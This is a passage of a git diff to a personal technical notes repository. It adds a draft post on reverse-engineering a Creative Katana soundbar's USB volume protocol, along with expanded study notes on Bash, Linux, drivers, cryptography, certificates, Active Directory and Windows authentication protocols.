diff --git a/_blog/.hidden/reversing-soundbar-usb-protocol.md b/_blog/.hidden/reversing-soundbar-usb-protocol.md new file mode 100644 index 0000000..4f73af9 --- /dev/null +++ b/_blog/.hidden/reversing-soundbar-usb-protocol.md @@ -0,0 +1,76 @@ +--- +slug: init-post +title: Init post +description: Init post +date: "1970-01-01" +hidden: true +--- + +## Init post +Init post + +## How to sniff USB with usbmon and Wireshark +The `usbmon` is a kernel module which is used to collect traces of I/O operations on the USB bus. It needs to be loaded. + +```bash +# Load usbmon kernel module +sudo modprobe usbmon + +# Check all loaded kernel modules +lsmod +``` + +Now you can run Wireshark. To identify which USB device you want to sniff, you can use `lsusb` command. The **bus number** and the **device number** are essential. Every USB bus has its own number and it should be also available in the Wireshark menu as `usbmonX`. Example menu items: + +```bash +enp5s0 +usbmon2 <--, +usbmon1 <----- These are USB buses traffic +usbmon0 <--' +``` + +Now you can sniff some USB traffic. Filter out the device you want to sniff: `usb.device_address == `. + +## Get information about USB device +An example output line of `lsusb` (list all USB devices) command: + +```text +Bus 001 Device 008: ID 041e:3247 Creative Technology, Ltd Sound BlasterX Katana +``` + +Vendor ID = `041e`, Product ID = `3247`. To get more information about that specific device use: `lsusb -v -d :`. + +## Kernel modules +Show kernel modules associated with USB devices: `lsusb -vt`. + +## Decoding SoundBlaster X Katana USB communication +xxx + +Katana has no dedicated module and uses couple generic modules: + +* [usbhid](https://github.com/torvalds/linux/tree/master/drivers/hid/usbhid) + +## Problem with HID user-space drivers +Theoretically the driver uses CONTROL transfer (to the Endpoint 0) in order to change Katana's volume level. Endpoint 0 is not directly connected with any USB interface, so it should be possible not to detach actual interface driver from the kernel. Unfortunately, without detaching, an "Resource busy" error occurs. Why is that? + +Katana uses CONTROL transfer indeed but with some special setup parameters: + +```text +bmRequestType = 0x21, +bRequest = 1, +wValue = 0x0201 (0x0202 in the second request), +wIndex = 256, +``` + +The `bmRequestType` parameter is a bit-field type: + +```text + 0x21 in binary + + 0 01 00001 +host-to-device (OUT) class-specific interface +``` + +I guess it has something to do with HID interface and because of that it doesn't work without detaching interface drivers. Unfortunately, the interfaces we have to disconnect interrupt the sound. I don't feel like implementing a whole audio driver just to change the volume. I was looking for an option to create some kind of "nested driver" that would use the default `snd-usb-audio` underneath, but would add my functionalities. I haven't found any sources on this. You'd probably have to rewrite the entire driver from scratch. The problem is that Katana uses the same interfaces to send audio and change volume level. Theoretically, it is possible to detach and reattach the driver after the script is executed, but of course `dev.attach_kernel_driver(x)` function doesn't work, so the project is stuck. + +Maybe I'll figure out some way of using the default `snd-usb-audio` driver underneath in the future. diff --git a/_blog/.vscode/settings.json b/_blog/.vscode/settings.json new file mode 100644 index 0000000..5411111 --- /dev/null +++ b/_blog/.vscode/settings.json @@ -0,0 +1,7 @@ +{ + "editor.wordWrap": "on", + "[markdown]": { + "editor.wordWrap": "wordWrapColumn" + }, + "editor.rulers": [80] +} \ No newline at end of file diff --git a/_notes/bash/scripting.md b/_notes/bash/scripting.md index 0fc0d05..76aa5d9 100644 --- a/_notes/bash/scripting.md +++ b/_notes/bash/scripting.md @@ -2,22 +2,39 @@ title: Bash scripting notes --- -## Differences between Bash and sh features +- [1. Differences between Bash and sh features](#1-differences-between-bash-and-sh-features) + - [1.1. Major differences (Bash vs sh)](#11-major-differences-bash-vs-sh) +- [2. Bash references](#2-bash-references) + - [2.1. Debugging (line by line)](#21-debugging-line-by-line) + - [2.2. Comments](#22-comments) + - [2.3. Special variables](#23-special-variables) + - [2.4. Prologue](#24-prologue) + - [2.5. Defining variables](#25-defining-variables) + - [2.6. If statement](#26-if-statement) + - [2.7. Loops](#27-loops) + - [2.8. Functions](#28-functions) + - [2.9. Strings](#29-strings) + - [2.10. Math / arithmetic](#210-math--arithmetic) + - [2.11. Arrays](#211-arrays) + - [2.12. Regex](#212-regex) + - [2.13. Quick tips](#213-quick-tips) + +## 1. Differences between Bash and sh features - [GNU Majo differences from the bourne shell](https://www.gnu.org/software/bash/manual/html_node/Major-Differences-From-The-Bourne-Shell.html) Bash is superset of sh. Sh is POSIX compliant, bash is not. Bash has many extra features which improve readability and speed of programming. Almost everything what does work on sh would be working on Bash as well, but not the other way. -### Major differences (Bash vs sh) +### 1.1. Major differences (Bash vs sh) ```bash if [[ ... ]] vs if [ ... ] ``` -## Bash references +## 2. Bash references [Official Bash documentation (manual)](https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html) -### Debugging (line by line) +### 2.1. Debugging (line by line) ```bash # At the beginning of the script @@ -25,7 +42,9 @@ set -x trap read debug ``` -### Special variables +### 2.2. Comments + +### 2.3. Special variables ```bash $? # Exit code of last command @@ -36,7 +55,7 @@ $@ # Array of arguments $$ # Current PID ``` -### Prologue +### 2.4. Prologue ```bash #!/usr/bin/env bash # Shebang: run with Bash shell @@ -54,7 +73,7 @@ set -e set -o pipefail ``` -### Defining variables +### 2.5. Defining variables > **NOTE**: No spaces around equal sign! ```bash @@ -67,7 +86,7 @@ var6=(1 5 9 43 23 43) # Array of numbers read var7 # Read variable from stdin ``` -### If statement +### 2.6. If statement ```bash # If statements (spaces around expression matter) @@ -103,7 +122,7 @@ if [[ $v1 = $v2 || $v1 != $v3 ]] # Or if [[ $v1 = $v2 && $v1 != $v3 ]] # And ``` -### Loops +### 2.7. Loops ```bash # For loops @@ -116,13 +135,10 @@ done for file in /bin/* # Iterate over files for num in {1..12..2} # {start..end..step} for num in 1 9 4 3 3 # Interate over list of items +for item in "${arr[@]}" # Spread array to list of items (above) for (( i=0; i<5; i++ )) # C-like for loop for name in $(cat names.txt) # Line by line output of a command - -# Iterate over array elements -for item in "${arr[@]}"; do - echo "$item" -done +for arg in "$@" # Iterate over arguments # Iterate over lines of variable while read -r line; do @@ -135,7 +151,7 @@ while read -r line; do done < file.txt ``` -### Functions +### 2.8. Functions Arguments are not named. They are only positional. Same convention as for the script parameters. @@ -148,7 +164,7 @@ function func1() { func1 "test-argument" 234 # Call a function ``` -### Strings +### 2.9. Strings ```bash var='super' @@ -170,14 +186,14 @@ str='1:2' IFS=: read -r var1 var2 <<< "$str" => var1 == 1, var2 == 2 ``` -### Math / arithmetic +### 2.10. Math / arithmetic ```bash $((1 + 1)) # Math expression $((x + y)) # Variables math ``` -### Arrays +### 2.11. Arrays ```bash arr=("1" "2" "3") # Define array @@ -187,7 +203,7 @@ echo ${arr[3]} # Get item echo ${arr[@]} # Get all items ``` -### Regex +### 2.12. Regex ```bash # Check matching and group extraction @@ -197,3 +213,10 @@ if [[ $var1 =~ $exp ]]; then echo $BASH_REMATCH[1] # First group fi ``` + +### 2.13. Quick tips + +```bash +echo $RANDOM # Get random number +date +%s%N # Get UNIX timestamp (nanoseconds) +``` diff --git a/_notes/bash/terminal.md b/_notes/bash/terminal.md index fb7b9da..66c8ecb 100644 --- a/_notes/bash/terminal.md +++ b/_notes/bash/terminal.md @@ -2,13 +2,35 @@ title: Linux terminal notes --- -## Configuration +- [1. Configuration](#1-configuration) +- [2. Compression and archives](#2-compression-and-archives) +- [3. Processes](#3-processes) +- [4. Users](#4-users) +- [5. Groups](#5-groups) +- [6. Permissions](#6-permissions) +- [7. Package management](#7-package-management) +- [8. Network](#8-network) +- [9. Systemd](#9-systemd) +- [10. Sound / speakers](#10-sound--speakers) +- [11. Disks](#11-disks) +- [12. Memory](#12-memory) +- [13. GPU](#13-gpu) +- [14. Kernel](#14-kernel) +- [15. Clock](#15-clock) +- [16. Environment variables](#16-environment-variables) +- [17. Job control](#17-job-control) +- [18. Cron](#18-cron) +- [19. Cryptography](#19-cryptography) +- [20. Text file manipulation](#20-text-file-manipulation) +- [21. Common commands](#21-common-commands) + +## 1. Configuration ```bash /etc/default/* # Configs of OS boot services ``` -## Compression and archives +## 2. Compression and archives ```bash tar -xf # Decompress and extract files @@ -17,7 +39,7 @@ tar -caf # Compress and create archive tar -tvf # List content (verbosely) ``` -## Processes +## 3. Processes ```bash pidof # Get PID(s) of process(es) @@ -30,7 +52,7 @@ kill -l # List all signals kill -9 # Kill process ``` -## Users +## 4. Users ```bash # /etc/passwd schema: @@ -50,7 +72,7 @@ su # Switch to user sudo # Exec command as other user ``` -## Groups +## 5. Groups ```bash # /etc/group schema: @@ -63,7 +85,7 @@ usermod -aG # Add user to group gpasswd -d # Remove user from group ``` -## Permissions +## 6. Permissions Permissions priority: User -> Group -> Other ```bash @@ -78,7 +100,7 @@ chmod u=rwx,g=r,o= # Change file permissions chmod ug=rw # Change file permissionss ``` -## Package management +## 7. Package management Repositories are defined in: - `/etc/apt/sources.list.d/` @@ -109,7 +131,7 @@ dpkg -l # List all installed pkgs dpkg -L # List files installed by pkg ``` -## Network +## 8. Network ```bash ip a # Show network interfaces @@ -133,7 +155,7 @@ lsof -i # Show open network connections ssh -L :: @ -fN ``` -## Systemd +## 9. Systemd ```bash systemctl list-unit-files # List all unit files @@ -150,7 +172,7 @@ systemctl disable # Stop service at boot journalctl -u # Show logs ``` -## Sound / speakers +## 10. Sound / speakers ```bash # With this tool you can set overall levels of sound card @@ -160,7 +182,7 @@ alsamixer # ALSA driver mixer alsactl store # Persist changes ``` -## Disks +## 11. Disks ```bash cfdisk # User-friendly partition tool @@ -170,14 +192,14 @@ df -hT # Show disk space du -hs # Show size of file or dir ``` -## Memory +## 12. Memory ```bash free -h # Show memory stats watch -n free -h # Show mem stats every N secs ``` -## GPU +## 13. GPU ```bash lspci -k | grep -EA3 'VGA|3D|Display' # List available GPUs @@ -185,20 +207,20 @@ nvidia-smi # Nvidia GPU & driver info nvidia-settings # GUI Nvidia settings ``` -## Kernel +## 14. Kernel ```bash uname -a # Show current kernel version dpkg -l | grep linux-image # List installed kernels ``` -## Clock +## 15. Clock ```bash timedatectl # Show OS datetime settings ``` -## Environment variables +## 16. Environment variables ```bash env # List all envs @@ -207,7 +229,7 @@ export = # Set env unset # Unset env ``` -## Job control +## 17. Job control ```bash jobs # List all jobs @@ -217,7 +239,7 @@ fg # Place job in fg CTRL-Z # Stop job ``` -## Cron +## 18. Cron [CRON time generator.](https://crontab.guru/) ```bash @@ -225,20 +247,20 @@ crontab -l # List cron entries crontab -e # Edit cron entries ``` -## Cryptography +## 19. Cryptography ```bash openssl genrsa 2048 > rsa.key # Generate RSA key ``` -## Text file manipulation +## 20. Text file manipulation ```bash # Exclude lines present in both files and save them into :file-3 comm -3 > ``` -## Common commands +## 21. Common commands ```bash shutdown -r now # Reboot now diff --git a/_notes/git.md b/_notes/git.md index 1a576a6..0ec9ab8 100644 --- a/_notes/git.md +++ b/_notes/git.md @@ -2,27 +2,43 @@ title: Git notes --- -## Repository metadata +- [1. Settings](#1-settings) + - [1.1. Global](#11-global) + - [1.2. Repository](#12-repository) +- [2. Branches](#2-branches) +- [3. Commits](#3-commits) +- [4. Remote repositories](#4-remote-repositories) + +## 1. Settings + +### 1.1. Global + +```bash +git config --global user.name +git config --global user.email +``` + +### 1.2. Repository ```bash git config user.name # Set new user's name git config user.email # Set new user's email ``` -## Branches +## 2. Branches ```bash git checkout -b # Create new branch and switch to it ``` -## Commits +## 3. Commits ```bash git log # Show commits git show # Show commit changes ``` -## Remote repositories +## 4. Remote repositories ```bash git remote -v # List all remote repos diff --git a/_notes/knowledge/crypto/certificates.md b/_notes/knowledge/crypto/certificates.md index c12bb63..70bd295 100644 --- a/_notes/knowledge/crypto/certificates.md +++ b/_notes/knowledge/crypto/certificates.md @@ -2,7 +2,15 @@ title: Certificates notes --- -## Digital signature +- [1. Digital signature](#1-digital-signature) +- [2. Certificates](#2-certificates) + - [2.1. Standard X.509](#21-standard-x509) + - [2.2. Certification Authority (CA)](#22-certification-authority-ca) + - [2.2.1. Root CA](#221-root-ca) + - [2.2.2. Chain of Trust](#222-chain-of-trust) + - [2.3. File format](#23-file-format) + +## 1. Digital signature A digital signature is the way of ensuring two things: @@ -27,30 +35,30 @@ A digital signature is the way of ensuring two things: The hash of a message is encrypted using a sender's private key. It can be decrypted only with correspoding public key (it ensures the sender identity). The hash is calculated twice: on the sender side and verified by a receiver. Even if the signature was decrypted along the way (in order to change the message and the hash), it could not be changed and encrypted once again, because the private key is secret. -## Certificates +## 2. Certificates The problem with asymmetric encryption is "how I can be sure that the public key really belongs to the sender?". If the public key was substituted, the signature could be decrypted along the way (man-in-the-middle attack) and changed using the attacker's private key. There must be a way to prove the correlation between the sender and its public key. And this is where certificates come is. Certificate is a standarized way to prove the correlation between sender and its public key. -### Standard X.509 +### 2.1. Standard X.509 Standard X.509 defines the format of public key certificates. It's the most common certificate format in the world. X.509 certificate binds an identity (organization, domain etc.) to a public key using a digital signature. Certificates are issued by Certification Authority. Simplified structure of X.509 certificate: -* Issuer Name - who certifies the public key. -* Subject Name - whose public key is certified. -* Validity Period - start and end date of the certificate validity. -* Public Key - subject's public key. -* Signature - the certificate hash + CA's private key +- Issuer Name - who certifies the public key. +- Subject Name - whose public key is certified. +- Validity Period - start and end date of the certificate validity. +- Public Key - subject's public key. +- Signature - the certificate hash + CA's private key -### Certification Authority (CA) +### 2.2. Certification Authority (CA) CA is an entity that verifies and issues digital certificates. CA ensures that the public key has been definitely issued by that organization. The CA is responsible for saying "yes, this person is who they say they are, this is its public key, and we, the CA, certify that". The server sends its certificate (issued by a CA) to the client and the client can be sure that the public key, which is included in the certificate, is not forged. -#### Root CA +#### 2.2.1. Root CA Root CA issues a root certificate with its own public key (self-signed certificate). There is no higher authority to certify a Root CA. It's the root of the chain of trust (client cert -> CA -> Root CA). Usually, client software - e.g. browsers or operating systems - include a pre-installed set of trusted Root CA certificates. Root CAs are strictly controlled by different companies to ensure the reliability and security of the certificates they issue. Firefox has around 150 built-in certificates represeting around 50 Root CAs. -#### Chain of Trust +#### 2.2.2. Chain of Trust Typical TLS chain of trust contains three certificates. Root CA certificates have usually very long term of validation (usually 20-30 years). Because of that Root CA often creates intermediate CA to improve security and flexibility in their certificate issuance process. Root CA's priv-key signing is a very complicated process due to security measures and it's better to issue a shorter-term intermediate CA certificate. @@ -67,7 +75,7 @@ Signed with: GlobalSign's | GlobalSign's | GlobalSign CA's priv-key | priv-key | priv-key ``` -### File format +### 2.3. File format X.509 certificates, public keys, private keys and other data are usually stored in a file format called PEM (_Privacy-Enhanced Main_). The [RFC 7468](https://datatracker.ietf.org/doc/html/rfc7468) defines labels and encoding of different cryptographic data stored in a PEM format. Textual representation of X.509 certificates is `base64(DER(ASN.1))` structure. It looks like the following: diff --git a/_notes/knowledge/crypto/cryptography.md b/_notes/knowledge/crypto/cryptography.md index bc4a248..4e955ef 100644 --- a/_notes/knowledge/crypto/cryptography.md +++ b/_notes/knowledge/crypto/cryptography.md @@ -2,7 +2,12 @@ title: Cryptography notes --- -## Symmetric Encryption +- [1. Symmetric Encryption](#1-symmetric-encryption) + - [1.1. Known-plaintext attack](#11-known-plaintext-attack) + - [1.2. Differential cryptanalysis](#12-differential-cryptanalysis) +- [2. Asymmetric Encryption](#2-asymmetric-encryption) + +## 1. Symmetric Encryption Symmetric encryption uses the same cryptographic **key** for both the encryption of plaintext and the decryption of ciphertext. @@ -17,13 +22,13 @@ It's popular for storing data encrypted with password (key). Examples of popular The main problem of symmetric encryption is potentially vulnerable key distribution. Asymmetric encryption is the solution. -### Known-plaintext attack +### 1.1. Known-plaintext attack Known-plaintext attack is an attack model where the attacker has access to the plaintext and ciphertext. It's performed in order to extract symmetric key. Nowadays, modern symmetric algorithms are virtually immune to these attacks (unless you have bilions of years). -### Differential cryptanalysis +### 1.2. Differential cryptanalysis Differential cryptanalysis is the study of how differences in the information input (plaintext) can affect the output (ciphertext). Its main point is to discover where the ciphertext reveals non-random behavior (controlled by the plaintext) and exploit such properties in order to recover the symmetric key. -## Asymmetric Encryption +## 2. Asymmetric Encryption Assymetric encryption uses a pair of related keys. The pair of keys is randomly generated by User-A. One of them is arbitrarily chosen to be the **private key**. Second one is the **public key**. User-A keeps the private key secret but his public key is published, for example, on his website. diff --git a/_notes/knowledge/linux/alsa.md b/_notes/knowledge/linux/alsa.md new file mode 100644 index 0000000..996c521 --- /dev/null +++ b/_notes/knowledge/linux/alsa.md @@ -0,0 +1,34 @@ +--- +title: ALSA - Advanced Linux Sound Architecture +--- + +- [1. Overview](#1-overview) + - [1.1. Pulse Code Modulation (PCM)](#11-pulse-code-modulation-pcm) + - [1.2. Master](#12-master) +- [2. Control Interface](#2-control-interface) + - [2.1. Card structure](#21-card-structure) + +## 1. Overview +ALSA is one of the Linux kernel frameworks. It provides an API to develop sound card device drivers. It provides an API to control the sound card configuration (volume etc.) and to perform all type of mixing and sending digitial audio data to and from the sound card. It provides standarized and unified abstraction for implementing lower-level parts of the driver (e.g. USB control communication) to control certain parameters of the sound card (volume, ). + +ALSA can operate on different levels of abstraction. In the kernel, there is a couple of sources of data for an ALSA driver, e.g. PCM or Master. + +The `snd_` at the beginning of every ALSA API function and structure name stands for `sound`. A lot of defined constats names starts with `SNDRV` what supposedly mean `sound revolution` and indicates ALSA-API-related things. + +### 1.1. Pulse Code Modulation (PCM) +PCM device refers to a virtual representation of an audio input or output channel of a sound card. These virtual devices in ALSA handle the conversion between digital audio data and analog audio signals. They provide an interface for audio data playback and capture, facilitating communication between audio applications and the sound card hardware. PCM devices in ALSA can be classified into two main types: + +- Capture PCM Devices: These devices represent audio input channels, enabling applications to receive audio data from the sound card. +- Playback PCM Devices: These devices represent audio output channels, allowing applications to send audio data to the sound card for playback. + +```bash +aplay -l # Show all available PCMs +``` + +### 1.2. Master +It controls the overall volume level (master) of the audio playback in the entire sound system, affecting the volume of all PCM devices simultaneously. It is a global volume control for the entire sound system. + +## 2. Control Interface + +### 2.1. Card structure +`snd_card` structure represents every sound card in the ALSA subsystem. diff --git a/_notes/knowledge/linux/drivers.md b/_notes/knowledge/linux/drivers.md new file mode 100644 index 0000000..4bb270f --- /dev/null +++ b/_notes/knowledge/linux/drivers.md @@ -0,0 +1,62 @@ +--- +title: Linux drivers architecture +--- + +- [1. What is a device driver?](#1-what-is-a-device-driver) +- [2. Linux core API](#2-linux-core-api) +- [3. Devices in Unix-world](#3-devices-in-unix-world) +- [4. Frameworks and subsystems](#4-frameworks-and-subsystems) +- [5. Matching a driver to the device](#5-matching-a-driver-to-the-device) + +## 1. What is a device driver? +Drivers are a specific type (or class) of the Linux Kernel Module. The role of driver is to map standard and universal OS calls to device-specific operations. For example, loudspeaker's volume might be low-level controlled in different ways but Linux always expects to change the volume using some operation. It is the driver's responsibility to take that operation and to perform the appropriate action with the device to achieve the desired result. Drivers hide device-specific technical details from Linux eyes. + +## 2. Linux core API +Linux core API provides a bunch of utility functions to write a drivers for any kind of common device types. There is API not only for specific plugs, like PCI or USB, but also for a specific type of device, e.g. ALSA for sound devices. It's not possible to use user-space libraries in the kernel-space drivers, so the kernel is responsible for providing a convenient API to allow a programmer no to reinvent the wheel every time they want to communicate with an standarized USB device for instance. + +Linux is an open-source OS, so the core API used to write drivers is open-source as well. Windows, for example, is closed-source, so driver developers only has to relay on the official documentation. + +## 3. Devices in Unix-world +Every piece of hardware, with a driver associated to it, is represented in the Unix-world as a device file. These files are accessible from user-space in the `/dev/` directory. There are two types of them: + +- Character device files (`c`) - sequential, byte-oriented interface for accessing devices. An user can read and write to the file one character at a time, without buffering. +- Block device files (`b`)- block-oriented interface for accessing devices. An user can read and write to the file fixed-size blocks of data. There is also a random access allowed and a buffering mechanism implemented. + +The device files are created by the driver successfully attached to the device. Performing operations on these files is actualy interacting with the drivers. The drives have implemented functions what to do if an user wants to read the keyboard dev-file and so on. + +## 4. Frameworks and subsystems +There is a problem. The driver creates the device file and the driver is responsible for handling any operation performed on the dev-file, so how we can be sure that every keyboard dev-file has the same interface and understands the same structure of data. This is where Linux frameworks come into play. The thing is that Linux developers noticed that huge part of an avarage driver is a boilerplate code. For example, there is no need to reinvent the sysfs-based interface for controlling LEDs all the time. There is a LED framework, which have unified approach to interact with LEDs, already implemented in the Linux kernel. + +The Linux Kernel Module architecture is some kind of module as well. There is a standard way of implementing this thing. The Linux Driver Model is a framework - it provides a standarized way of implementing device drivers across the Linux OSes. + +In general, frameworks provide a structured and standardized environment for the development and integration of device drivers. These frameworks offer a set of tools (functions, consts, macros) and libraries that facilitate the creation of drivers, promote code reuse, and ensure compatibility with the Linux kernel. + +There is a whole lot of different frameworks implemented in the Linux kernel. Basically any type of modern device can be probably implemented using one of the already implemented Linux frameworks. + +Subsystem is more low-level term. A framework provides an API for interacting with the subsystem (part of the kernel). It's not so clear because not every framework is part of the subsystem actually. Most often this distinction doesn't matter. Both terms are frequently used interchangeably (even in the Linux documentation I think). + +Examples: + +- USB Subsystem +- Video4Linux +- Sound Subsystem (ALSA) +- LED framework +- PCI Bus Subsystem +- Linux Input Subsystem + +Every framework and subsystem has its own kernel documentation. There you can find information how it should be used. + +## 5. Matching a driver to the device +Every driver is associated with a bus (e.g. PCI or USB). It's done within `module_ini(func)` function. The driver is also associated with a a specific devices. Example for USB driver: + +```c +static struct usb_device_id usb_table[] = { + { USB_DEVICE(USB_DEV_VENDOR_ID, USB_DEV_PRODUCT_ID) }, + {} // Terminator +}; + +// Associate defined devices with this driver. +MODULE_DEVICE_TABLE(usb, usb_devices_table); +``` + +When a new device is added, the bus's list of drivers is iterated over to find one that supports that device. The driver defines Vendor ID and Product ID of the device that must match in order to start probing process. A probe function, defined in the driver, is called by the kernel in order to verify whether the driver really supports this specific device. It returns `0` if a provided device (or an interface in case of USB for example) matches its requirements, otherwise - error code. The framework used to register device driver usually handles creating a device-file creation and an interface to interact with it. diff --git a/_notes/knowledge/linux/kernel-modules.md b/_notes/knowledge/linux/kernel-modules.md new file mode 100644 index 0000000..ded260f --- /dev/null +++ b/_notes/knowledge/linux/kernel-modules.md @@ -0,0 +1,45 @@ +--- +title: Linux Kernel Modules (LKM) +--- + +- [1. Resources](#1-resources) +- [2. Requirements](#2-requirements) +- [3. What is kernel module?](#3-what-is-kernel-module) +- [4. Operations with modules](#4-operations-with-modules) +- [5. Useful header files](#5-useful-header-files) + +## 1. Resources +Additional resources to check out: + +- [The Linux Kernel Module Programming Guide](https://sysprog21.github.io/lkmpg) + +## 2. Requirements + +```bash +apt install kmod build-essential # Commands to interact with modules +apt install linux-headers-`uname -r` # Linux kernel headers +``` + +## 3. What is kernel module? +Kernel module is a piece of code that extends the functionality of the kernel without the need to reboot the OS. A device driver is one type of possible kernel modules (it allows the kernel to communicate with an external hardware). Without modules, every time new driver needs to be loaded, the kernel source code needs be rebuilt. + +Kernel modules are compiled into `.ko` (kernel object) files. It is object code (not linked into a complete executable) that can be dynamically linked to the running kernel by the `insmod` program and can be unlinked by the `rmmod` program. + +In kernel module there are no standard library functions available. Everything needs to be done using kernel functions. For example, you cannot use `printf()` functions. There is a `printk()` (`linux/printk.h`) function instead. It logs output to the TTY console, so it's not visible in the GUI but it can be read using `journalctl` or `dmesg` commands. + +## 4. Operations with modules + +```bash +lsmod # List all loaded modules +insmode # Load module +rmmod # Remove module +modinfo # Module info +``` + +## 5. Useful header files + +```c +#include // All modules need to have this +#include // For output logging functions +#include // For macros +``` diff --git a/_notes/knowledge/windows/active-directory.md b/_notes/knowledge/windows/active-directory.md index 096ce70..1b333c4 100644 --- a/_notes/knowledge/windows/active-directory.md +++ b/_notes/knowledge/windows/active-directory.md @@ -2,7 +2,21 @@ title: Active Directory notes --- -## Domain Controller +- [1. Domain Controller](#1-domain-controller) +- [2. Active Directory \& LDAP](#2-active-directory--ldap) + - [2.1. Security](#21-security) +- [3. AD Domain Service (AD DS)](#3-ad-domain-service-ad-ds) + - [3.1. Users](#31-users) + - [3.2. Machines](#32-machines) + - [3.3. Security groups](#33-security-groups) +- [4. Users / accounts](#4-users--accounts) +- [5. Group Policy Objects (GPO)](#5-group-policy-objects-gpo) + - [5.1. Security](#51-security) +- [6. Distinguished Name (DN)](#6-distinguished-name-dn) +- [7. Local workgroup](#7-local-workgroup) +- [8. Active Directory Certificate Services (AD CS)](#8-active-directory-certificate-services-ad-cs) + +## 1. Domain Controller **AD Domain** - part of the network that groups users, hosts, resources. It's used to perform privileges, security policies and access management. At least one Domain Controller must be present to create Domain. The main idea behing a domain is to centralise the administration of Windows components in a single repository called Active Directory. Each AD domain is also a DNS domain, and each AD domain controller is also a DNS nameserver – but not the other way around. @@ -11,35 +25,35 @@ Each AD domain is also a DNS domain, and each AD domain controller is also a DNS **Domain Controller** - administrator of the Domain. The server that runs AD services. Every user in the network must authenticate via Kerberos or NTLM protocol sent to the DC. DC is responsible for security policies and account management. If you have DC, you are god in the network. DC holds AD database file. -## Active Directory & LDAP +## 2. Active Directory & LDAP AD is service used by Domain Controller to perform authentication, groups, users and security policies management. It is not cross-platform commercial implementation of open and cross-platform **LDAP** (_Lightweight Directory Access Protocol_) used for accessing and maintaining distributed directory information services over IP network. LDAP query is a command that asks a directory service (e.g. Active Directory) for some information. AD database file is called NTDS.dit and it's stored on Domain Controller server. -### Security +### 2.1. Security Even with low-privileged user an attacker can make useful enumeration and lateral movement. -## AD Domain Service (AD DS) +## 3. AD Domain Service (AD DS) It's catalogue that holds the information of all "objects" that exist on the network. An object might be: user, group, machine, printer, share, etc. -### Users +### 3.1. Users - most common object type in AD. - people - represents persons in the organisation - services - every service (IIS or MSSQL) requires a user to run. They only have privileges needed to run their specific service (ideally). -### Machines +### 3.2. Machines - represents every computer that joins the AD domain - every machine have Machine Account - local administrator on the computer, is not supposed to be accessed by anyone except the computer itself but it uses normal password (120 random chars). MA name is the computer's name + dollar sign: PC-1 (computer name) -> PC-1$ (MA name). -### Security groups +### 3.3. Security groups - group includes AD machines and AD users as members - group can include other groups - several groups are created by default in a domain, e.g. Domain Admins, Domain Users, Domain Computers, Domain Controllers. -## Users / accounts +## 4. Users / accounts AD users are different than built-in local users (these are used to manage the system locally, which is not part of the AD environment). Domain/AD accounts can use the AD services. Types of AD Administrator accounts: @@ -49,13 +63,13 @@ Types of AD Administrator accounts: - Enterprise Admin - forest root only. - Schema Admin - capable of modifying domain/forest. -## Group Policy Objects (GPO) +## 5. Group Policy Objects (GPO) Collection of settings (rules) that can be applied to Organizational Unit (organized objects: users, hosts, etc.). GPOs are distributed to the network via a network share SYSVOL (stored in the DC) which points to path `C:\Windows\SYSVOL\sysvol\` on each of the DCs. -### Security +### 5.1. Security Any AD account, no matter how low-privileged, can read the contents of the SYSVOL directory. It's nice way to **check if provided domain credentials are correct**. -## Distinguished Name (DN) +## 6. Distinguished Name (DN) Collection of comma-separated key and value pairs used to identify unique AD record (object). The DN consists of: - Domain Component (DC) @@ -65,8 +79,8 @@ Collection of comma-separated key and value pairs used to identify unique AD rec > **Example** of DN: "CN=Administrator, OU=Users, DC=amazon, DC=com" -## Local workgroup +## 7. Local workgroup TBD -## Active Directory Certificate Services (AD CS) +## 8. Active Directory Certificate Services (AD CS) AD CS is a Microsoft's implementation of Public Key Infrastructure. diff --git a/_notes/knowledge/windows/authentication.md b/_notes/knowledge/windows/authentication.md index 9004ca2..d48ca79 100644 --- a/_notes/knowledge/windows/authentication.md +++ b/_notes/knowledge/windows/authentication.md @@ -2,26 +2,40 @@ title: Network authentication protocols --- +- [1. General](#1-general) +- [2. LDAP](#2-ldap) + - [2.1. Anonymous bind](#21-anonymous-bind) + - [2.2. LDAP Pass-back attack](#22-ldap-pass-back-attack) +- [3. NTLM (aka Net-NTML)](#3-ntlm-aka-net-ntml) + - [3.1. Workflow of NTLM authentication](#31-workflow-of-ntlm-authentication) + - [3.2. Security](#32-security) + - [3.3. Hashes](#33-hashes) +- [4. Kerberos](#4-kerberos) + - [4.1. Key Distribution Center (KDC)](#41-key-distribution-center-kdc) + - [4.2. Ticket Granting Ticket (TGT)](#42-ticket-granting-ticket-tgt) + - [4.3. Security](#43-security) + +## 1. General Using Windows domains, all credentials are stored in the DC. Every authentication is performed via DC, using (usually) one of two protocols: - Kerberos - NTLM -## LDAP +## 2. LDAP LDAP is used to communicate with directory services (e.g. Active Directory). It provides built-in basic LDAP authentication mechanism (username and password) but it is rarely used. Most often enterprise networks want to use more convenient (and secure) auth methods. LDAP protocol supports _pluggable_ external authentication methods. This feature is called SASL (_Simple Authentication and Security Layer_). When Active Directory service is installed, Kerberos or NTLM authentication over LDAP is implemented for sure. -### Anonymous bind +### 2.1. Anonymous bind Sometimes it is possible to perform LDAP anonymous bind (no authentication), execute LDAP queries and retrieve interesting data. LDAP anonymous bind should be disabled. -### LDAP Pass-back attack +### 2.2. LDAP Pass-back attack If we can alter the LDAP configuration in the application (e.g. printer config), we can force device to try to authenticate with the attacker IP, instead of DC LDAP server. We can intercept this auth attempt and recover the LDAP credentials. -## NTLM (aka Net-NTML) +## 3. NTLM (aka Net-NTML) NTLM was the default authentication protocol used in old Windows versions. If for any reason Kerberos fails, NTLM will be used instead. > **NOTE**: NTLM (v1 or v2) is the protocol, not the hash! -### Workflow of NTLM authentication +### 3.1. Workflow of NTLM authentication CLIENT => SERVER => DOMAIN CONTROLER 1. The _client_ sends an authentication request to the _server_. @@ -31,20 +45,20 @@ CLIENT => SERVER => DOMAIN CONTROLER 5. The _DC_ compares the _challenge_ and the _response_ and sends the result to the _server_. 6. The server forwards result to the _client_. -### Security +### 3.2. Security - NTLM uses a challenge/response mechanism, which exposes its password to offline cracking when responding to the challenge. - NTLMv1 hashes could be cracked in seconds with today’s computing. They are always the same length and are not salted. - NTLMv2 is a little better, since it variables length and salted hash. Even though hash it's salted before it's sent, it's saved unsalted in a machine’s memory. -### Hashes +### 3.3. Hashes Windows store user's account password using two hashes. These hashes are stored in the local SAM database or the domain NTDS file. **LM hash** (_Lan Manager_) is a very weak hash function used for storing users' passwords. If enabled, it's stored along with NT hash in the format `LM-hash:NT-hash`. Nowadays, most often it's disabled (it's highly recommended) and only the NT hash is generated. LM hash requires a short password and can 